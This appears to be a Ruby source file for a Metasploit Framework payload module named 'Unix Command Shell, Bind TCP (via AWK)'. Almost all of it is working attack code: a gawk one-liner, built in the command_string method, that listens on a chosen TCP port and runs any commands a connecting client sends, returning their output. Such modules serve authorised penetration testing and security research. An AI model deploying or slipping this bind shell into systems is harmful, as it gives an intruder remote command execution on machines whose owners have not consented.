67 lines
1.5 KiB
Ruby
67 lines
1.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 140
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Bind TCP (via AWK)',
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'Description' => 'Listen for a connection and spawn a command shell via GNU AWK',
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'Author' =>
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[
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'espreto <robertoespreto[at]gmail.com>',
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'Ulisses Castro <uss.thebug[at]gmail.com>'
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],
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'gawk',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate(_opts = {})
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super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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awkcmd = <<~AWK
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awk 'BEGIN{
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s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";
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do{
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if((s|&getline c)<=0)
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break;
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if(c){
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while((c|&getline)>0)print $0|&s;
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close(c)
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}
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} while(c!=\"exit\")
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close(s)
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}'
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AWK
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awkcmd.gsub!("\n",'').gsub!(' ', '')
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end
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end
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